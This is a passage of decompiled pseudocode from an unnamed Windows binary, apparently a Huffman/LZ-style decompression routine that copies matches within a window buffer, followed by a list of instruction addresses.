																	_t363 =  *(_t654 + 0x397c + _t362 * 2) & 0x0000ffff;
																	L131:
																	_t493 = _t363 & 0x0000ffff;
																	__eflags = _t493 - 8;
																	if(_t493 >= 8) {
																		_t671 = (_t493 >> 2) - 1;
																		_t493 = (_t493 & 0x00000003 | 0x00000004) << _t671;
																		__eflags = _t493;
																	} else {
																		_t671 = 0;
																	}
																	_t496 = _t493 + 2;
																	__eflags = _t671;
																	if(_t671 != 0) {
																		_t390 = E013AA4D1(_t654 + 4);
																		_t532 = 0x10;
																		_t496 = _t496 + (_t390 >> _t532 - _t671);
																		_t535 =  *(_t654 + 8) + _t671;
																		 *((intOrPtr*)(_t654 + 4)) =  *((intOrPtr*)(_t654 + 4)) + (_t535 >> 3);
																		_t536 = _t535 & 0x00000007;
																		__eflags = _t536;
																		 *(_t654 + 8) = _t536;
																	}
																	_t625 =  *(_t663 + 0x7c);
																	_t673 = _t625 -  *(_t691 + 0x24);
																	_t365 =  *((intOrPtr*)(_t663 + 0xe6d8)) + 0xffffeffc;
																	 *(_t663 + 0x74) = _t496;
																	__eflags = _t673 - _t365;
																	if(_t673 >= _t365) {
																		L147:
																		_t347 = _t654 + 4;
																		__eflags = _t496;
																		if(_t496 == 0) {
																			goto L7;
																		}
																		_t655 =  *(_t663 + 0xe6dc);
																		do {
																			_t656 = _t655 & _t673;
																			_t673 = _t673 + 1;
																			 *( *((intOrPtr*)(_t663 + 0x4b40)) +  *(_t663 + 0x7c)) =  *((intOrPtr*)(_t656 +  *((intOrPtr*)(_t663 + 0x4b40))));
																			_t655 =  *(_t663 + 0xe6dc);
																			 *(_t663 + 0x7c) =  *(_t663 + 0x7c) + 0x00000001 & _t655;
																			_t496 = _t496 - 1;
																			__eflags = _t496;
																		} while (_t496 != 0);
																		L150:
																		_t654 =  *((intOrPtr*)(_t691 + 0x3c));
																		L33:
																		_t347 = _t654 + 4;
																		goto L7;
																	} else {
																		__eflags = _t625 - _t365;
																		if(_t625 >= _t365) {
																			goto L147;
																		}
																		_t370 =  *((intOrPtr*)(_t663 + 0x4b40));
																		_t675 = _t673 + _t370;
																		_t529 = _t370 + _t625;
																		 *(_t691 + 0x1c) = _t529;
																		 *(_t663 + 0x7c) = _t625 + _t496;
																		__eflags =  *(_t691 + 0x24) - _t496;
																		if( *(_t691 + 0x24) >= _t496) {
																			__eflags = _t496 - 8;
																			if(_t496 < 8) {
																				L85:
																				_t347 = _t654 + 4;
																				__eflags = _t498;
																				if(_t498 == 0) {
																					L7:
																					L8:
																					_t666 =  *((intOrPtr*)(_t691 + 0x14));
																					while(1) {
																						_t614 =  *(_t663 + 0xe6dc);
																						 *(_t663 + 0x7c) =  *(_t663 + 0x7c) & _t614;
																						_t506 =  *_t347;
																						__eflags = _t506 -  *((intOrPtr*)(_t691 + 0x20));
																						if(_t506 <  *((intOrPtr*)(_t691 + 0x20))) {
																							goto L16;
																						}
																						goto L10;
																					}
																				}
																				 *_t529 =  *_t675;
																				_t347 = _t654 + 4;
																				__eflags = _t498 - 1;
																				if(_t498 <= 1) {
																					goto L7;
																				}
																				 *((char*)(_t529 + 1)) =  *((intOrPtr*)(_t675 + 1));
																				_t347 = _t654 + 4;
																				__eflags = _t498 - 2;
																				if(_t498 <= 2) {
																					goto L7;
																				}
																				 *((char*)(_t529 + 2)) =  *((intOrPtr*)(_t675 + 2));
																				_t347 = _t654 + 4;
																				__eflags = _t498 - 3;
																				if(_t498 <= 3) {
																					goto L7;
																				}
																				 *((char*)(_t529 + 3)) =  *((intOrPtr*)(_t675 + 3));
																				_t347 = _t654 + 4;
																				__eflags = _t498 - 4;
																				if(_t498 <= 4) {
																					goto L7;
																				}
																				 *((char*)(_t529 + 4)) =  *((intOrPtr*)(_t675 + 4));
																				_t347 = _t654 + 4;
																				__eflags = _t498 - 5;
																				if(_t498 <= 5) {
																					goto L7;
																				}
																				__eflags = _t498 - 6;
																				_t499 =  *((intOrPtr*)(_t691 + 0x10));
																				 *((char*)(_t529 + 5)) =  *((intOrPtr*)(_t675 + 5));
																				_t347 = _t654 + 4;
																				if(_t498 > 6) {
																					 *((char*)(_t529 + 6)) =  *((intOrPtr*)(_t675 + 6));
																					_t347 = _t654 + 4;
																				}
																				goto L8;
																			}
																			_t380 = _t496 >> 3;
																			__eflags = _t380;
																			 *(_t691 + 0x24) = _t380;
																			_t657 = _t380;
																			do {
																				E013BDFA0(_t529, _t675, 8);
																				_t530 =  *((intOrPtr*)(_t691 + 0x28));
																				_t691 = _t691 + 0xc;
																				_t529 = _t530 + 8;
																				_t675 = _t675 + 8;
																				_t496 = _t496 - 8;
																				 *(_t691 + 0x1c) = _t529;
																				_t657 = _t657 - 1;
																				__eflags = _t657;
																			} while (_t657 != 0);
																			L84:
																			_t654 =  *((intOrPtr*)(_t691 + 0x3c));
																			goto L85;
																		}
																		__eflags = _t496 - 8;
																		if(_t496 < 8) {
																			goto L85;
																		}
																		_t628 = _t496 >> 3;
																		__eflags = _t628;
																		do {
																			_t496 = _t496 - 8;
																			 *_t529 =  *_t675;
																			 *((char*)(_t529 + 1)) =  *((intOrPtr*)(_t675 + 1));
																			 *((char*)(_t529 + 2)) =  *((intOrPtr*)(_t675 + 2));
																			 *((char*)(_t529 + 3)) =  *((intOrPtr*)(_t675 + 3));
																			 *((char*)(_t529 + 4)) =  *((intOrPtr*)(_t675 + 4));
																			 *((char*)(_t529 + 5)) =  *((intOrPtr*)(_t675 + 5));
																			 *((char*)(_t529 + 6)) =  *((intOrPtr*)(_t675 + 6));
																			_t389 =  *((intOrPtr*)(_t675 + 7));
																			_t675 = _t675 + 8;
																			 *((char*)(_t529 + 7)) = _t389;
																			_t529 = _t529 + 8;
																			_t628 = _t628 - 1;
																			__eflags = _t628;
																		} while (_t628 != 0);
																		goto L85;
																	}
																}
																_t538 = _t654 + (_t359 + 0xb3e) * 4;
																while(1) {
																	__eflags = _t622 -  *_t538;
																	if(_t622 <  *_t538) {
																		break;
																	}
																	_t359 = _t359 + 1;
																	_t538 = _t538 + 4;
																	__eflags = _t359 - 0xf;
																	if(_t359 < 0xf) {
																		continue;
																	}
																	goto L130;
																}
																_t492 = _t359;
																goto L130;
															}
															_t539 = 0x10;
															_t629 = _t622 >> _t539 - _t358;
															_t542 = ( *(_t629 + _t654 + 0x2d7c) & 0x000000ff) +  *(_t668 + 4);
															 *_t668 =  *_t668 + (_t542 >> 3);
															 *(_t668 + 4) = _t542 & 0x00000007;
															_t363 =  *(_t654 + 0x317c + _t629 * 2) & 0x0000ffff;
															goto L131;
														} else {
															goto L121;
														}
														do {
															L121:
															 *_t518 =  *(_t518 - 4);
															_t518 = _t518 - 4;
															_t620 = _t620 - 1;
															__eflags = _t620;
														} while (_t620 != 0);
														goto L122;
													}
													_t498 =  *(_t663 + 0x74);
													_t666 =  *((intOrPtr*)(_t691 + 0x14));
													__eflags = _t498;
													if(_t498 == 0) {
														L23:
														_t499 =  *((intOrPtr*)(_t691 + 0x10));
														continue;
													}
													_t397 =  *(_t663 + 0x60);
													_t630 =  *(_t663 + 0x7c);
													_t677 = _t630 - _t397;
													 *(_t691 + 0x1c) = _t397;
													_t399 =  *((intOrPtr*)(_t663 + 0xe6d8)) + 0xffffeffc;
													__eflags = _t677 - _t399;
													if(_t677 >= _t399) {
														L116:
														_t347 = _t654 + 4;
														__eflags = _t498;
														if(_t498 == 0) {
															goto L7;
														}
														_t658 =  *(_t663 + 0xe6dc);
														do {
															_t659 = _t658 & _t677;
															_t677 = _t677 + 1;
															 *( *((intOrPtr*)(_t663 + 0x4b40)) +  *(_t663 + 0x7c)) =  *((intOrPtr*)(_t659 +  *((intOrPtr*)(_t663 + 0x4b40))));
															_t658 =  *(_t663 + 0xe6dc);
															 *(_t663 + 0x7c) =  *(_t663 + 0x7c) + 0x00000001 & _t658;
															_t498 = _t498 - 1;
															__eflags = _t498;
														} while (_t498 != 0);
														goto L150;
													}
													__eflags = _t630 - _t399;
													if(_t630 >= _t399) {
														goto L116;
													}
													_t404 =  *((intOrPtr*)(_t663 + 0x4b40));
													_t675 = _t677 + _t404;
													_t529 = _t404 + _t630;
													 *(_t691 + 0x24) = _t529;
													 *(_t663 + 0x7c) = _t630 + _t498;
													__eflags =  *(_t691 + 0x1c) - _t498;
													if( *(_t691 + 0x1c) >= _t498) {
														__eflags = _t498 - 8;
														if(_t498 < 8) {
															goto L85;
														}
														_t407 = _t498 >> 3;
														__eflags = _t407;
														_t660 = _t407;
														do {
															E013BDFA0(_t529, _t675, 8);
															_t545 =  *((intOrPtr*)(_t691 + 0x30));
															_t691 = _t691 + 0xc;
															_t529 = _t545 + 8;
															_t675 = _t675 + 8;
															_t498 = _t498 - 8;
															 *(_t691 + 0x24) = _t529;
															_t660 = _t660 - 1;
															__eflags = _t660;
														} while (_t660 != 0);
														goto L84;
													}
													__eflags = _t498 - 8;
													if(_t498 < 8) {
														goto L85;
													}
													_t633 = _t498 >> 3;
													__eflags = _t633;
													do {
														_t498 = _t498 - 8;
														 *_t529 =  *_t675;
														 *((char*)(_t529 + 1)) =  *((intOrPtr*)(_t675 + 1));
														 *((char*)(_t529 + 2)) =  *((intOrPtr*)(_t675 + 2));
														 *((char*)(_t529 + 3)) =  *((intOrPtr*)(_t675 + 3));
														 *((char*)(_t529 + 4)) =  *((intOrPtr*)(_t675 + 4));
														 *((char*)(_t529 + 5)) =  *((intOrPtr*)(_t675 + 5));
														 *((char*)(_t529 + 6)) =  *((intOrPtr*)(_t675 + 6));
														_t416 =  *((intOrPtr*)(_t675 + 7));
														_t675 = _t675 + 8;
														 *((char*)(_t529 + 7)) = _t416;
														_t529 = _t529 + 8;
														_t633 = _t633 - 1;
														__eflags = _t633;
													} while (_t633 != 0);
													goto L85;
												}
												_push(_t691 + 0x28);
												_t417 = E013B2CCA(_t663, _t347);
												__eflags = _t417;
												if(_t417 == 0) {
													goto L100;
												}
												_t420 = E013B1174(_t663, _t691 + 0x28);
												__eflags = _t420;
												if(_t420 != 0) {
													goto L33;
												}
												goto L100;
											}
											_t501 = _t619 - 0x106;
											__eflags = _t501 - 8;
											if(_t501 >= 8) {
												_t680 = (_t501 >> 2) - 1;
												_t501 = (_t501 & 0x00000003 | 0x00000004) << _t680;
												__eflags = _t501;
											} else {
												_t680 = 0;
											}
											_t498 = _t501 + 2;
											__eflags = _t680;
											if(_t680 == 0) {
												_t681 = _t654 + 4;
											} else {
												_t472 = E013AA4D1(_t347);
												_t600 = 0x10;
												_t498 = _t498 + (_t472 >> _t600 - _t680);
												_t603 =  *(_t654 + 8) + _t680;
												_t681 = _t654 + 4;
												 *_t681 =  *_t681 + (_t603 >> 3);
												 *(_t681 + 4) = _t603 & 0x00000007;
											}
											_t421 = E013AA4D1(_t681);
											_t422 =  *(_t654 + 0xfa0);
											_t635 = _t421 & 0x0000fffe;
											__eflags = _t635 -  *((intOrPtr*)(_t654 + 0xf20 + _t422 * 4));
											if(_t635 >=  *((intOrPtr*)(_t654 + 0xf20 + _t422 * 4))) {
												_t682 = 0xf;
												_t423 = _t422 + 1;
												__eflags = _t423 - _t682;
												if(_t423 >= _t682) {
													L49:
													_t552 =  *(_t654 + 8) + _t682;
													 *(_t654 + 8) = _t552 & 0x00000007;
													_t425 = _t552 >> 3;
													 *((intOrPtr*)(_t654 + 4)) =  *((intOrPtr*)(_t654 + 4)) + _t425;
													_t554 = 0x10;
													_t557 =  *((intOrPtr*)(_t654 + 0xf60 + _t682 * 4)) + (_t635 -  *((intOrPtr*)(_t654 + 0xf1c + _t682 * 4)) >> _t554 - _t682);
													__eflags = _t557 -  *((intOrPtr*)(_t654 + 0xf1c));
													asm("sbb eax, eax");
													_t426 = _t425 & _t557;
													__eflags = _t426;
													_t427 =  *(_t654 + 0x1ba4 + _t426 * 2) & 0x0000ffff;
													goto L50;
												}
												_t593 = _t654 + (_t423 + 0x3c8) * 4;
												while(1) {
													__eflags = _t635 -  *_t593;
													if(_t635 <  *_t593) {
														break;
													}
													_t423 = _t423 + 1;
													_t593 = _t593 + 4;
													__eflags = _t423 - 0xf;
													if(_t423 < 0xf) {
														continue;
													}
													goto L49;
												}
												_t682 = _t423;
												goto L49;
											} else {
												_t594 = 0x10;
												_t652 = _t635 >> _t594 - _t422;
												_t597 = ( *(_t652 + _t654 + 0xfa4) & 0x000000ff) +  *(_t681 + 4);
												 *_t681 =  *_t681 + (_t597 >> 3);
												 *(_t681 + 4) = _t597 & 0x00000007;
												_t427 =  *(_t654 + 0x13a4 + _t652 * 2) & 0x0000ffff;
												L50:
												_t638 = _t427 & 0x0000ffff;
												__eflags = _t638 - 4;
												if(_t638 >= 4) {
													_t430 = (_t638 >> 1) - 1;
													_t638 = (_t638 & 0x00000001 | 0x00000002) << _t430;
													__eflags = _t638;
												} else {
													_t430 = 0;
												}
												 *(_t691 + 0x18) = _t430;
												_t559 = _t638 + 1;
												 *(_t691 + 0x24) = _t559;
												_t683 = _t559;
												 *(_t691 + 0x1c) = _t683;
												__eflags = _t430;
												if(_t430 == 0) {
													L70:
													__eflags = _t683 - 0x100;
													if(_t683 > 0x100) {
														_t498 = _t498 + 1;
														__eflags = _t683 - 0x2000;
														if(_t683 > 0x2000) {
															_t498 = _t498 + 1;
															__eflags = _t683 - 0x40000;
															if(_t683 > 0x40000) {
																_t498 = _t498 + 1;
																__eflags = _t498;
															}
														}
													}
													 *(_t663 + 0x6c) =  *(_t663 + 0x68);
													 *(_t663 + 0x68) =  *(_t663 + 0x64);
													 *(_t663 + 0x64) =  *(_t663 + 0x60);
													 *(_t663 + 0x60) = _t683;
													_t641 =  *(_t663 + 0x7c);
													_t561 = _t641 - _t683;
													_t435 =  *((intOrPtr*)(_t663 + 0xe6d8)) + 0xffffeffc;
													 *(_t663 + 0x74) = _t498;
													 *(_t691 + 0x24) = _t561;
													__eflags = _t561 - _t435;
													if(_t561 >= _t435) {
														L93:
														_t666 =  *((intOrPtr*)(_t691 + 0x14));
														_t347 = _t654 + 4;
														__eflags = _t498;
														if(_t498 == 0) {
															goto L23;
														}
														_t684 =  *(_t663 + 0xe6dc);
														_t661 =  *(_t691 + 0x24);
														do {
															_t685 = _t684 & _t661;
															_t661 = _t661 + 1;
															 *( *((intOrPtr*)(_t663 + 0x4b40)) +  *(_t663 + 0x7c)) =  *((intOrPtr*)( *((intOrPtr*)(_t663 + 0x4b40)) + _t685));
															_t684 =  *(_t663 + 0xe6dc);
															 *(_t663 + 0x7c) =  *(_t663 + 0x7c) + 0x00000001 & _t684;
															_t498 = _t498 - 1;
															__eflags = _t498;
														} while (_t498 != 0);
														goto L150;
													} else {
														__eflags = _t641 - _t435;
														if(_t641 >= _t435) {
															goto L93;
														}
														_t440 =  *((intOrPtr*)(_t663 + 0x4b40));
														_t675 = _t440 + _t561;
														_t529 = _t440 + _t641;
														 *(_t691 + 0x24) = _t529;
														 *(_t663 + 0x7c) = _t641 + _t498;
														__eflags =  *(_t691 + 0x1c) - _t498;
														if( *(_t691 + 0x1c) >= _t498) {
															__eflags = _t498 - 8;
															if(_t498 < 8) {
																goto L85;
															}
															_t443 = _t498 >> 3;
															__eflags = _t443;
															 *(_t691 + 0x1c) = _t443;
															_t662 = _t443;
															do {
																E013BDFA0(_t529, _t675, 8);
																_t563 =  *((intOrPtr*)(_t691 + 0x30));
																_t691 = _t691 + 0xc;
																_t529 = _t563 + 8;
																_t675 = _t675 + 8;
																_t498 = _t498 - 8;
																 *(_t691 + 0x24) = _t529;
																_t662 = _t662 - 1;
																__eflags = _t662;
															} while (_t662 != 0);
															goto L84;
														}
														__eflags = _t498 - 8;
														if(_t498 < 8) {
															goto L85;
														}
														_t644 = _t498 >> 3;
														__eflags = _t644;
														do {
															_t498 = _t498 - 8;
															 *_t529 =  *_t675;
															 *((char*)(_t529 + 1)) =  *((intOrPtr*)(_t675 + 1));
															 *((char*)(_t529 + 2)) =  *((intOrPtr*)(_t675 + 2));
															 *((char*)(_t529 + 3)) =  *((intOrPtr*)(_t675 + 3));
															 *((char*)(_t529 + 4)) =  *((intOrPtr*)(_t675 + 4));
															 *((char*)(_t529 + 5)) =  *((intOrPtr*)(_t675 + 5));
															 *((char*)(_t529 + 6)) =  *((intOrPtr*)(_t675 + 6));
															_t452 =  *((intOrPtr*)(_t675 + 7));
															_t675 = _t675 + 8;
															 *((char*)(_t529 + 7)) = _t452;
															_t529 = _t529 + 8;
															_t644 = _t644 - 1;
															__eflags = _t644;
														} while (_t644 != 0);
														goto L85;
													}
												} else {
													__eflags = _t430 - 4;
													if(__eflags < 0) {
														_t453 = E013B748C(_t654 + 4);
														_t565 = 0x20;
														_t568 =  *(_t654 + 8) +  *(_t691 + 0x18);
														_t683 = (_t453 >> _t565 -  *(_t691 + 0x18)) +  *(_t691 + 0x24);
														 *((intOrPtr*)(_t654 + 4)) =  *((intOrPtr*)(_t654 + 4)) + (_t568 >> 3);
														_t569 = _t568 & 0x00000007;
														__eflags = _t569;
														 *(_t654 + 8) = _t569;
														L69:
														 *(_t691 + 0x1c) = _t683;
														goto L70;
													}
													if(__eflags <= 0) {
														_t645 = _t654 + 4;
													} else {
														_t467 = E013B748C(_t654 + 4);
														_t651 =  *(_t691 + 0x18);
														_t587 = 0x24;
														_t590 = _t651 - 4 +  *(_t654 + 8);
														_t645 = _t654 + 4;
														_t683 = (_t467 >> _t587 - _t651 << 4) +  *(_t691 + 0x24);
														 *_t645 =  *_t645 + (_t590 >> 3);
														 *(_t645 + 4) = _t590 & 0x00000007;
													}
													_t456 = E013AA4D1(_t645);
													_t457 =  *(_t654 + 0x1e8c);
													_t647 = _t456 & 0x0000fffe;
													__eflags = _t647 -  *((intOrPtr*)(_t654 + 0x1e0c + _t457 * 4));
													if(_t647 >=  *((intOrPtr*)(_t654 + 0x1e0c + _t457 * 4))) {
														_t571 = 0xf;
														_t458 = _t457 + 1;
														 *(_t691 + 0x18) = _t571;
														__eflags = _t458 - _t571;
														if(_t458 >= _t571) {
															L66:
															_t573 =  *(_t654 + 8) +  *(_t691 + 0x18);
															 *((intOrPtr*)(_t654 + 4)) =  *((intOrPtr*)(_t654 + 4)) + (_t573 >> 3);
															_t461 =  *(_t691 + 0x18);
															 *(_t654 + 8) = _t573 & 0x00000007;
															_t575 = 0x10;
															_t578 =  *((intOrPtr*)(_t654 + 0x1e4c + _t461 * 4)) + (_t647 -  *((intOrPtr*)(_t654 + 0x1e08 + _t461 * 4)) >> _t575 - _t461);
															__eflags = _t578 -  *((intOrPtr*)(_t654 + 0x1e08));
															asm("sbb eax, eax");
															_t462 = _t461 & _t578;
															__eflags = _t462;
															_t463 =  *(_t654 + 0x2a90 + _t462 * 2) & 0x0000ffff;
															goto L67;
														}
														_t580 = _t654 + (_t458 + 0x783) * 4;
														while(1) {
															__eflags = _t647 -  *_t580;
															if(_t647 <  *_t580) {
																break;
															}
															_t458 = _t458 + 1;
															_t580 = _t580 + 4;
															__eflags = _t458 - 0xf;
															if(_t458 < 0xf) {
																continue;
															}
															goto L66;
														}
														 *(_t691 + 0x18) = _t458;
														goto L66;
													} else {
														_t581 = 0x10;
														_t650 = _t647 >> _t581 - _t457;
														_t584 = ( *(_t650 + _t654 + 0x1e90) & 0x000000ff) +  *(_t654 + 8);
														 *((intOrPtr*)(_t654 + 4)) =  *((intOrPtr*)(_t654 + 4)) + (_t584 >> 3);
														 *(_t654 + 8) = _t584 & 0x00000007;
														_t463 =  *(_t654 + 0x2290 + _t650 * 2) & 0x0000ffff;
														L67:
														_t683 = _t683 + (_t463 & 0x0000ffff);
														goto L69;
													}
												}
											}
										}
										 *( *((intOrPtr*)(_t663 + 0x4b40)) +  *(_t663 + 0x7c)) = _t619;
										_t69 = _t663 + 0x7c;
										 *_t69 =  *(_t663 + 0x7c) + 1;
										__eflags =  *_t69;
										goto L33;
									}
									_t607 = _t654 + (_t353 + 0xd) * 4;
									while(1) {
										__eflags = _t616 -  *_t607;
										if(_t616 <  *_t607) {
											break;
										}
										_t353 = _t353 + 1;
										_t607 = _t607 + 4;
										__eflags = _t353 - 0xf;
										if(_t353 < 0xf) {
											continue;
										}
										goto L30;
									}
									_t490 = _t353;
									goto L30;
								}
								_t608 = 0x10;
								_t653 = _t616 >> _t608 - _t352;
								_t611 = ( *(_t653 + _t654 + 0xb8) & 0x000000ff) +  *(_t667 + 4);
								 *_t667 =  *_t667 + (_t611 >> 3);
								_t347 = _t654 + 4;
								 *(_t347 + 4) = _t611 & 0x00000007;
								_t619 =  *(_t654 + 0x4b8 + _t653 * 2) & 0x0000ffff;
								goto L31;
							}
							__eflags = _t507 -  *(_t663 + 0x7c);
							if(_t507 ==  *(_t663 + 0x7c)) {
								goto L21;
							}
							E013B3EF0(_t663);
							__eflags =  *((intOrPtr*)(_t663 + 0x4c5c)) -  *((intOrPtr*)(_t663 + 0x4c4c));
							if(__eflags > 0) {
								L152:
								_t418 = 0;
								goto L101;
							}
							if(__eflags < 0) {
								goto L21;
							}
							__eflags =  *((intOrPtr*)(_t663 + 0x4c58)) -  *((intOrPtr*)(_t663 + 0x4c48));
							if( *((intOrPtr*)(_t663 + 0x4c58)) >  *((intOrPtr*)(_t663 + 0x4c48))) {
								goto L152;
							}
							goto L21;
						}
					}
				}
				 *((char*)(_t654 + 0x2c)) = 1;
				_push(_t654 + 0x30);
				_push(_t654 + 0x18);
				_push(_t654 + 4);
				if(E013B30E5(__ecx) != 0) {
					goto L3;
				}
				goto L2;
			}

0x013b63f6
0x013b63fa
0x013b6400
0x013b6429
0x013b642c
0x013b6431
0x013b6434
0x013b641b
0x013b641b
0x00000000
0x013b6436
0x013b6441
0x013b6444
0x013b6447
0x013b644b
0x013b644f
0x013b6453
0x013b6455
0x013b6457
0x013b6457
0x013b645b
0x013b6468
0x013b6468
0x013b646e
0x013b6471
0x013b6473
0x013b6477
0x00000000
0x00000000
0x013b6479
0x013b6479
0x013b647b
0x013b6a06
0x013b6a06
0x013b6a08
0x00000000
0x013b6a09
0x013b6481
0x013b648f
0x013b648f
0x013b6491
0x013b64a0
0x013b64a0
0x013b64a6
0x013b6d55
0x013b6d55
0x00000000
0x013b6d55
0x00000000
0x013b64a6
0x013b6493
0x013b649a
0x00000000
0x00000000
0x00000000
0x013b649a
0x013b6486
0x013b6489
0x00000000
0x00000000
0x00000000
0x013b64ac
0x013b64ac
0x013b64b9
0x013b64be
0x013b64f2
0x013b64f2
0x013b64f7
0x013b64fe
0x013b6504
0x013b650a
0x013b650e
0x013b6548
0x013b6549
0x013b654a
0x013b654c
0x013b6565
0x013b6568
0x013b656f
0x013b6572
0x013b6575
0x013b657e
0x013b6587
0x013b6589
0x013b658c
0x013b658e
0x013b658e
0x013b6590
0x013b6598
0x013b659b
0x013b65a0
0x013b65a2
0x013b65bb
0x013b65c1
0x013b69dd
0x013b69df
0x013b6a12
0x013b6a18
0x013b6b34
0x013b6b34
0x013b6b3d
0x013b6b40
0x013b6b42
0x013b6b46
0x013b6b55
0x013b6b55
0x013b6b58
0x013b6b5d
0x013b6b64
0x013b6b6a
0x013b6b70
0x013b6b77
0x013b6ba5
0x013b6ba6
0x013b6ba7
0x013b6ba9
0x013b6bc5
0x013b6bc8
0x013b6bcf
0x013b6bd2
0x013b6bd5
0x013b6be1
0x013b6bed
0x013b6bef
0x013b6bf5
0x013b6bf7
0x013b6bf7
0x013b6bf9
0x013b6c01
0x013b6c01
0x013b6c04
0x013b6c07
0x013b6c18
0x013b6c1b
0x013b6c1b
0x013b6c09
0x013b6c09
0x013b6c09
0x013b6c1d
0x013b6c20
0x013b6c22
0x013b6c27
0x013b6c2e
0x013b6c36
0x013b6c38
0x013b6c3f
0x013b6c42
0x013b6c42
0x013b6c45
0x013b6c45
0x013b6c48
0x013b6c53
0x013b6c57
0x013b6c5c
0x013b6c5f
0x013b6c61
0x013b6d15
0x013b6d15
0x013b6d18
0x013b6d1a
0x00000000
0x00000000
0x013b6d20
0x013b6d26
0x013b6d2c
0x013b6d31
0x013b6d35
0x013b6d3b
0x013b6d44
0x013b6d47
0x013b6d47
0x013b6d47
0x013b6d4c
0x013b6d4c
0x013b65b3
0x013b65b3
0x00000000
0x013b6c67
0x013b6c67
0x013b6c69
0x00000000
0x00000000
0x013b6c6f
0x013b6c75
0x013b6c77
0x013b6c7d
0x013b6c81
0x013b6c84
0x013b6c88
0x013b6cda
0x013b6cdd
0x013b6911
0x013b6911
0x013b6914
0x013b6916
0x013b6460
0x013b6464
0x013b6464
0x013b6468
0x013b6468
0x013b646e
0x013b6471
0x013b6473
0x013b6477
0x00000000
0x00000000
0x00000000
0x013b6477
0x013b6468
0x013b691f
0x013b6921
0x013b6924
0x013b6927
0x00000000
0x00000000
0x013b6930
0x013b6933
0x013b6936
0x013b6939
0x00000000
0x00000000
0x013b6942
0x013b6945
0x013b6948
0x013b694b
0x00000000
0x00000000
0x013b6954
0x013b6957
0x013b695a
0x013b695d
0x00000000
0x00000000
0x013b6966
0x013b6969
0x013b696c
0x013b696f
0x00000000
0x00000000
0x013b6978
0x013b697b
0x013b697f
0x013b6982
0x013b6985
0x013b698e
0x013b6991
0x013b6991
0x00000000
0x013b6985
0x013b6ce5
0x013b6ce5
0x013b6ce8
0x013b6cec
0x013b6cee
0x013b6cf2
0x013b6cf7
0x013b6cfb
0x013b6cfe
0x013b6d01
0x013b6d04
0x013b6d07
0x013b6d0b
0x013b6d0b
0x013b6d0b
0x013b690d
0x013b690d
0x00000000
0x013b690d
0x013b6c8a
0x013b6c8d
0x00000000
0x00000000
0x013b6c95
0x013b6c95
0x013b6c98
0x013b6c9b
0x013b6c9e
0x013b6ca3
0x013b6ca9
0x013b6caf
0x013b6cb5
0x013b6cbb
0x013b6cc1
0x013b6cc4
0x013b6cc7
0x013b6cca
0x013b6ccd
0x013b6cd0
0x013b6cd0
0x013b6cd0
0x00000000
0x013b6cd5
0x013b6c61
0x013b6bb1
0x013b6bb4
0x013b6bb4
0x013b6bb6
0x00000000
0x00000000
0x013b6bb8
0x013b6bb9
0x013b6bbc
0x013b6bbf
0x00000000
0x00000000
0x00000000
0x013b6bc1
0x013b6bc3
0x00000000
0x013b6bc3
0x013b6b7b
0x013b6b7e
0x013b6b88
0x013b6b90
0x013b6b96
0x013b6b99
0x00000000
0x00000000
0x00000000
0x00000000
0x013b6b48
0x013b6b48
0x013b6b4b
0x013b6b4d
0x013b6b50
0x013b6b50
0x013b6b50
0x00000000
0x013b6b48
0x013b6a1e
0x013b6a21
0x013b6a25
0x013b6a27
0x013b653d
0x013b653d
0x00000000
0x013b653d
0x013b6a2d
0x013b6a30
0x013b6a35
0x013b6a37
0x013b6a41
0x013b6a46
0x013b6a48
0x013b6af8
0x013b6af8
0x013b6afb
0x013b6afd
0x00000000
0x00000000
0x013b6b03
0x013b6b09
0x013b6b0f
0x013b6b14
0x013b6b18
0x013b6b1e
0x013b6b27
0x013b6b2a
0x013b6b2a
0x013b6b2a
0x00000000
0x013b6b2f
0x013b6a4e
0x013b6a50
0x00000000
0x00000000
0x013b6a56
0x013b6a5c
0x013b6a5e
0x013b6a64
0x013b6a68
0x013b6a6b
0x013b6a6f
0x013b6ac1
0x013b6ac4
0x00000000
0x00000000
0x013b6acc
0x013b6acc
0x013b6acf
0x013b6ad1
0x013b6ad5
0x013b6ada
0x013b6ade
0x013b6ae1
0x013b6ae4
0x013b6ae7
0x013b6aea
0x013b6aee
0x013b6aee
0x013b6aee
0x00000000
0x013b6af3
0x013b6a71
0x013b6a74
0x00000000
0x00000000
0x013b6a7c
0x013b6a7c
0x013b6a7f
0x013b6a82
0x013b6a85
0x013b6a8a
0x013b6a90
0x013b6a96
0x013b6a9c
0x013b6aa2
0x013b6aa8
0x013b6aab
0x013b6aae
0x013b6ab1
0x013b6ab4
0x013b6ab7
0x013b6ab7
0x013b6ab7
0x00000000
0x013b6abc
0x013b69e5
0x013b69e9
0x013b69ee
0x013b69f0
0x00000000
0x00000000
0x013b69f9
0x013b69fe
0x013b6a00
0x00000000
0x00000000
0x00000000
0x013b6a00
0x013b65c7
0x013b65cd
0x013b65d0
0x013b65e1
0x013b65e4
0x013b65e4
0x013b65d2
0x013b65d2
0x013b65d2
0x013b65e6
0x013b65e9
0x013b65eb
0x013b6615
0x013b65ed
0x013b65ef
0x013b65f6
0x013b65fe
0x013b6600
0x013b6602
0x013b660a
0x013b6610
0x013b6610
0x013b661a
0x013b6621
0x013b6627
0x013b662d
0x013b6634
0x013b6662
0x013b6663
0x013b6664
0x013b6666
0x013b6682
0x013b6685
0x013b668c
0x013b668f
0x013b6692
0x013b669e
0x013b66aa
0x013b66ac
0x013b66b2
0x013b66b4
0x013b66b4
0x013b66b6
0x00000000
0x013b66b6
0x013b666e
0x013b6671
0x013b6671
0x013b6673
0x00000000
0x00000000
0x013b6675
0x013b6676
0x013b6679
0x013b667c
0x00000000
0x00000000
0x00000000
0x013b667e
0x013b6680
0x00000000
0x013b6636
0x013b6638
0x013b663b
0x013b6645
0x013b664d
0x013b6653
0x013b6656
0x013b66be
0x013b66be
0x013b66c1
0x013b66c4
0x013b66d4
0x013b66d7
0x013b66d7
0x013b66c6
0x013b66c6
0x013b66c6
0x013b66d9
0x013b66dd
0x013b66e0
0x013b66e4
0x013b66e6
0x013b66ea
0x013b66ec
0x013b681d
0x013b681d
0x013b6823
0x013b6825
0x013b6826
0x013b682c
0x013b682e
0x013b682f
0x013b6835
0x013b6837
0x013b6837
0x013b6837
0x013b6835
0x013b682c
0x013b683b
0x013b6841
0x013b6847
0x013b684a
0x013b684d
0x013b6858
0x013b685a
0x013b685f
0x013b6862
0x013b6866
0x013b6868
0x013b6999
0x013b6999
0x013b699d
0x013b69a0
0x013b69a2
0x00000000
0x00000000
0x013b69a8
0x013b69ae
0x013b69b2
0x013b69b8
0x013b69bd
